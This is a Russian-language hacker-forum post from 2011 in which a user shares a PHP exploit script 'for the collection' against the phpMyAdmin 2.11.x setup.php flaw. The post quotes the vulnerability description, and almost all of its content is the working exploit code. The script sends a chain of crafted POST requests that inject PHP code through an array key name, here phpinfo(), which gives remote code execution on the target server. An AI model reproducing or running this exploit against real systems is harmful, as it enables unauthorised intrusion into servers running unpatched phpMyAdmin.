Показать сообщение отдельно
Старый 23.02.2011, 21:33   #6
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию

Понадобился сплоинт под 2.11.10
Код:
The configuration setup script (aka scripts/setup.php) in phpMyAdmin 2.11.x before 2.11.10.1 does not properly restrict key names in its output file, which allows remote attackers to execute arbitrary PHP code via a crafted POST request.
PHP код:
<?php
set_time_limit
(0); 

 
// this is an exploit code for phpMyAdmin 2.11.10

$target_url "http://site.com/phpmyadmin/scripts/setup.php";
$token null;

// request 1
$res get_response();

// request 2 (add server)
$res get_response('POST'"token=$token&action=addserver");

// request 3 (save to session)
$res get_response('POST'"token=$token&action=addserver_real&host=localhost&connect_type=tcp&extension=mysql&auth_type=config&user=root&password=1&submit_save=Add&AllowDeny_order=1&AllowDeny[a][b]['.phpinfo().']=1");

// request 4 (save to file)
$res get_response('POST'"token=$token&action=save");

// request 5 (load file)
$res get_response('POST'"token=$token&action=load");
var_dump($res);


function 
get_response($method='GET'$body=null) {
    global 
$target_url$token;
    static 
$ch null;

    if (
$ch === null$ch curl_init();

    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
    
curl_setopt($chCURLOPT_URL$target_url);

    if (
$method == 'POST') {
        
curl_setopt($chCURLOPT_POSTtrue);
        
curl_setopt($chCURLOPT_POSTFIELDS$body);
    }

    
curl_setopt($chCURLOPT_COOKIEFILE'/tmp/cookie.txt');
    
curl_setopt($chCURLOPT_COOKIEJAR'/tmp/cookie.txt');

    
$res curl_exec($ch);
    
$token get_token($res);

    return 
$res;
}

function 
get_token($s) {
    if (
preg_match('#name="token" value="(.*?)"#'$s$m)) {
        return 
$m[1];
    }
}


?>
для коллекции
SeNaP вне форума   Ответить с цитированием